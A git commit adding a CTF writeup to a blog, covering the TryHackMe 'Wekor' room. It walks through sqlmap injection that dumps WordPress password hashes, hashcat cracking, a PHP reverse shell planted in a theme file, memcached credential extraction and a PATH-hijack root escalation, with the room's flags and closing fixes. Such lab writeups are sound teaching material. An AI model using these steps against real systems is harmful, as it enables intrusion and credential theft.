add: writeup-ctf
Some checks failed
Build Blog Docker Image / build docker (push) Failing after 1m11s
Some checks failed
Build Blog Docker Image / build docker (push) Failing after 1m11s
This commit is contained in:
BIN
content/writeup-ctf/writeup-wekor-thm/featured.png
(Stored with Git LFS)
Normal file
BIN
content/writeup-ctf/writeup-wekor-thm/featured.png
(Stored with Git LFS)
Normal file
Binary file not shown.
BIN
content/writeup-ctf/writeup-wekor-thm/featured.webp
(Stored with Git LFS)
Normal file
BIN
content/writeup-ctf/writeup-wekor-thm/featured.webp
(Stored with Git LFS)
Normal file
Binary file not shown.
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-1.png
(Stored with Git LFS)
Normal file
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-1.png
(Stored with Git LFS)
Normal file
Binary file not shown.
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-1.webp
(Stored with Git LFS)
Normal file
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-1.webp
(Stored with Git LFS)
Normal file
Binary file not shown.
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-10.png
(Stored with Git LFS)
Normal file
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-10.png
(Stored with Git LFS)
Normal file
Binary file not shown.
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-10.webp
(Stored with Git LFS)
Normal file
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-10.webp
(Stored with Git LFS)
Normal file
Binary file not shown.
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-11.png
(Stored with Git LFS)
Normal file
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-11.png
(Stored with Git LFS)
Normal file
Binary file not shown.
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-11.webp
(Stored with Git LFS)
Normal file
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-11.webp
(Stored with Git LFS)
Normal file
Binary file not shown.
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-12.png
(Stored with Git LFS)
Normal file
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-12.png
(Stored with Git LFS)
Normal file
Binary file not shown.
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-12.webp
(Stored with Git LFS)
Normal file
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-12.webp
(Stored with Git LFS)
Normal file
Binary file not shown.
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-2.png
(Stored with Git LFS)
Normal file
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-2.png
(Stored with Git LFS)
Normal file
Binary file not shown.
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-2.webp
(Stored with Git LFS)
Normal file
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-2.webp
(Stored with Git LFS)
Normal file
Binary file not shown.
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-3.png
(Stored with Git LFS)
Normal file
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-3.png
(Stored with Git LFS)
Normal file
Binary file not shown.
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-3.webp
(Stored with Git LFS)
Normal file
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-3.webp
(Stored with Git LFS)
Normal file
Binary file not shown.
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-4.png
(Stored with Git LFS)
Normal file
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-4.png
(Stored with Git LFS)
Normal file
Binary file not shown.
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-4.webp
(Stored with Git LFS)
Normal file
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-4.webp
(Stored with Git LFS)
Normal file
Binary file not shown.
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-5.png
(Stored with Git LFS)
Normal file
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-5.png
(Stored with Git LFS)
Normal file
Binary file not shown.
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-5.webp
(Stored with Git LFS)
Normal file
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-5.webp
(Stored with Git LFS)
Normal file
Binary file not shown.
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-6.png
(Stored with Git LFS)
Normal file
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-6.png
(Stored with Git LFS)
Normal file
Binary file not shown.
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-6.webp
(Stored with Git LFS)
Normal file
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-6.webp
(Stored with Git LFS)
Normal file
Binary file not shown.
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-7.png
(Stored with Git LFS)
Normal file
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-7.png
(Stored with Git LFS)
Normal file
Binary file not shown.
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-7.webp
(Stored with Git LFS)
Normal file
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-7.webp
(Stored with Git LFS)
Normal file
Binary file not shown.
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-8.png
(Stored with Git LFS)
Normal file
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-8.png
(Stored with Git LFS)
Normal file
Binary file not shown.
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-8.webp
(Stored with Git LFS)
Normal file
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-8.webp
(Stored with Git LFS)
Normal file
Binary file not shown.
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-9.png
(Stored with Git LFS)
Normal file
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-9.png
(Stored with Git LFS)
Normal file
Binary file not shown.
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-9.webp
(Stored with Git LFS)
Normal file
BIN
content/writeup-ctf/writeup-wekor-thm/img/image-9.webp
(Stored with Git LFS)
Normal file
Binary file not shown.
220
content/writeup-ctf/writeup-wekor-thm/index.md
Normal file
220
content/writeup-ctf/writeup-wekor-thm/index.md
Normal file
@ -0,0 +1,220 @@
|
||||
---
|
||||
title: "Writeup - Wekor (THM)"
|
||||
date: 2022-04-17
|
||||
slug: "writeup-wekor-thm"
|
||||
type: "writeup-ctf"
|
||||
---
|
||||
|
||||
This is a writeup for the [Wekor](https://tryhackme.com/room/wekorra) machine from the TryHackMe site.
|
||||
|
||||
## Enumeration
|
||||
|
||||
First, let's start with a scan of our target with the following command:
|
||||
|
||||
|
||||
```bash
|
||||
nmap -sV -T4 -Pn 10.10.11.146
|
||||
```
|
||||
Two TCP ports are discovered:
|
||||
|
||||

|
||||
|
||||
- 22/tcp : SSH port (OpenSSH 8.2)
|
||||
- 80/tcp : HTTP web server (Apache 2.4.41)
|
||||
|
||||
## Exploit
|
||||
|
||||
At first I start by listing the pages of the website.
|
||||
|
||||

|
||||
|
||||
I find a `robots.txt` file in which the following pages are listed:
|
||||
|
||||
|
||||
```bash
|
||||
User-agent: *
|
||||
Disallow: /workshop/
|
||||
Disallow: /root/
|
||||
Disallow: /lol/
|
||||
Disallow: /agent/
|
||||
Disallow: /feed
|
||||
Disallow: /crawler
|
||||
Disallow: /boot
|
||||
Disallow: /comingreallysoon
|
||||
Disallow: /interesting
|
||||
```
|
||||
While exploring I come across the following message:
|
||||
|
||||
|
||||
```bash
|
||||
Welcome Dear Client! We've setup our latest website on /it-next, Please go check it out! If you have any comments or suggestions, please tweet them to @faketwitteraccount! Thanks a lot !
|
||||
```
|
||||
So there is a site hosted in the `it-next` next folder:
|
||||
|
||||

|
||||
|
||||
After some research I find an `Applie coupon` field on the `it_cart.php` page. I get a query using burp, then I run `sqlmap` to extract the database list.
|
||||
|
||||
|
||||
```bash
|
||||
┌──(d3vyce㉿kali)-[~/Documents]
|
||||
└─$ sqlmap -r request.txt --dbs --batch
|
||||
___
|
||||
__H__
|
||||
___ ___[(]_____ ___ ___ {1.6.4#stable}
|
||||
|_ -| . ['] | .'| . |
|
||||
|___|_ [)]_|_|_|__,| _|
|
||||
|_|V... |_| https://sqlmap.org
|
||||
|
||||
[...]
|
||||
web application technology: Apache 2.4.18
|
||||
back-end DBMS: MySQL >= 5.6
|
||||
[16:07:49] [INFO] fetching database names
|
||||
available databases [6]:
|
||||
[*] coupons
|
||||
[*] information_schema
|
||||
[*] mysql
|
||||
[*] performance_schema
|
||||
[*] sys
|
||||
[*] wordpress
|
||||
|
||||
[16:07:49] [INFO] fetched data logged to text files under '/home/d3vyce/.local/share/sqlmap/output/wekor.thm'
|
||||
|
||||
[*] ending @ 16:07:49 /2022-04-13/
|
||||
```
|
||||
I find a `wordpress` database, I will try to extract it with the following command:
|
||||
|
||||
|
||||
```bash
|
||||
┌──(d3vyce㉿kali)-[~/Documents]
|
||||
└─$ sqlmap -r request.txt -D wordpress --dump --batch
|
||||
[...]
|
||||
[4 entries]
|
||||
+------+---------------------------------+---------------------------------------------+-------------------+------------+-------------+--------------+---------------+---------------------+-----------------------------------------------+
|
||||
| ID | user_url | user_pass | user_email | user_login | user_status | display_name | user_nicename | user_registered | user_activation_key |
|
||||
+------+---------------------------------+---------------------------------------------+-------------------+------------+-------------+--------------+---------------+---------------------+-----------------------------------------------+
|
||||
| 1 | http://site.wekor.thm/wordpress | $P$BoyfR2QzhNjRNmQZpva6TuuD0EE31B. | admin@wekor.thm | admin | 0 | admin | admin | 2021-01-21 20:33:37 | <blank> |
|
||||
| 5743 | http://jeffrey.com | $P$BU8QpWD.kHZv3Vd1r52ibmO913hmj10 | jeffrey@wekor.thm | wp_jeffrey | 0 | wp jeffrey | wp_jeffrey | 2021-01-21 20:34:50 | 1611261290:$P$BufzJsT0fhM94swehg1bpDVTupoxPE0 |
|
||||
| 5773 | http://yura.com | $P$B6jSC3m7WdMlLi1/NDb3OFhqv536SV/ | yura@wekor.thm | wp_yura | 0 | wp yura | wp_yura | 2021-01-21 20:35:27 | <blank> |
|
||||
| 5873 | http://eagle.com | $P$BpyTRbmvfcKyTrbDzaK1zSPgM7J6QY/ (xxxxxx) | eagle@wekor.thm | wp_eagle | 0 | wp eagle | wp_eagle | 2021-01-21 20:36:11 | <blank> |
|
||||
+------+---------------------------------+---------------------------------------------+-------------------+------------+-------------+--------------+---------------+---------------------+-----------------------------------------------+
|
||||
[...]
|
||||
```
|
||||
In the interval I find 4 user/password pairs. I put them in a file and I run `hashcat`.
|
||||
|
||||
|
||||
```bash
|
||||
┌──(d3vyce㉿kali)-[~/Documents]
|
||||
└─$ hashcat -m 400 hash wordlist/rockyou.txt
|
||||
[...]
|
||||
$P$BpyTRbmvfcKyTrbDzaK1zSPgM7J6QY/:xxxxxx (eagle)
|
||||
$P$BU8QpWD.kHZv3Vd1r52ibmO913hmj10:rockyou (jeffrey)
|
||||
$P$B6jSC3m7WdMlLi1/NDb3OFhqv536SV/:soccer13 (yura)
|
||||
[...]
|
||||
```
|
||||
After a few seconds, we find all the passwords except the one of Admin. Now that we have credentials, we need to find the wordpress site; I launch a subdomain scan.
|
||||
|
||||

|
||||
|
||||
I find the `site` subdomain, I add it to the `/etc/hosts`, then I go to the site. On this page, I find the following text:
|
||||
|
||||
|
||||
```bash
|
||||
Hi there!
|
||||
Nothing here for now, but there should be an amazing website here in about 2 weeks, SO DON'T FORGET TO COME BACK IN 2 WEEKS!
|
||||
- Jim
|
||||
```
|
||||
This does not bring me much, so I launch a page scan on this subdomain.
|
||||
|
||||

|
||||
|
||||
After a few seconds I finally found the WordPress site!
|
||||
|
||||

|
||||
|
||||
So I go to the `wp-admin` page to connect to the admin panel. After trying the user `jeffrey`, I realize that he doesn't have admin permission, so I test the user `yura` and it works. I can now modify the content of the 404.php page of the twentytwentyone theme to add this [reverse shell](https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php).
|
||||
|
||||
By accessing the following page I execute the php code :
|
||||
|
||||
|
||||
```bash
|
||||
http://site.wekor.thm/wordpress/wp-content/themes/twentytwentyone/404.php
|
||||
```
|
||||
I now have a reverse shell, but I don't have access to the first flag.
|
||||
|
||||

|
||||
|
||||
So I look if I can't find a file with an interesting service to change the user. In the open ports, I find the port 11211 :
|
||||
|
||||

|
||||
|
||||
After some research I find the following page of the [HackTricks](https://book.hacktricks.xyz/pentesting/11211-memcache) blog. After some experimentation, I manage to get the credencials of the user Orka in the cache.
|
||||
|
||||

|
||||
|
||||
I can now change the user and get the first flag back.
|
||||
|
||||
|
||||
```bash
|
||||
Orka@osboxes:~$ cat user.txt
|
||||
cat user.txt
|
||||
1a26a6d51c0172400add0e297608dec6
|
||||
```
|
||||
## Privilege escalation
|
||||
|
||||
I start by checking the user's authorization. Interestingly, my user has the right to run the `bitcoin` script with root rights.
|
||||
|
||||

|
||||
|
||||
I try to launch the script but without success, it needs a password to launch it.
|
||||
|
||||

|
||||
|
||||
So I try to extract the strings from the program and I find the following in the result:
|
||||
|
||||
|
||||
```bash
|
||||
Orka@osboxes:~/Desktop$ strings bitcoin
|
||||
[...]
|
||||
Enter the password :
|
||||
password
|
||||
Access Denied...
|
||||
Access Granted...
|
||||
User Manual:
|
||||
Maximum Amount Of BitCoins Possible To Transfer at a time : 9
|
||||
Amounts with more than one number will be stripped off!
|
||||
And Lastly, be careful, everything is logged :)
|
||||
Amount Of BitCoins :
|
||||
Sorry, This is not a valid amount!
|
||||
python /home/Orka/Desktop/transfer.py %c
|
||||
[...]
|
||||
```
|
||||
The password to use the program would be `password` and then there is the execution of a python script. What is interesting is the use of python without using a relative route. This combined with the fact that I have write permissions in the `/usr/sbin/python` folder which is in the `$PATH` variable, I will be able to create a custom version of the python program.ndes suivante :
|
||||
|
||||
|
||||
```bash
|
||||
touch /usr/sbin/python
|
||||
echo '#!/bin/bash' > /usr/sbin/python
|
||||
echo '/bin/bash' >> /usr/sbin/python
|
||||
chmod +x /usr/sbin/python
|
||||
```
|
||||
I now run the `bitcoin` program with sudo and enter the password.
|
||||
|
||||

|
||||
|
||||
I am now root of the machine and I can get the last flag.
|
||||
|
||||
|
||||
```bash
|
||||
root@osboxes:~/Desktop# cat /root/root.txt
|
||||
cat /root/root.txt
|
||||
f4e788f87cc3afaecbaf0f0fe9ae6ad7
|
||||
```
|
||||
## Recommendations
|
||||
|
||||
To patch this host I think it would be necessary to perform a number of actions:
|
||||
|
||||
- Sanitizing Inputs must be implemented to avoid SQL injections
|
||||
- Use strong passwords
|
||||
- Set up Memcached authentication
|
||||
- Use absolute paths when using programs in scripts
|
Reference in New Issue
Block a user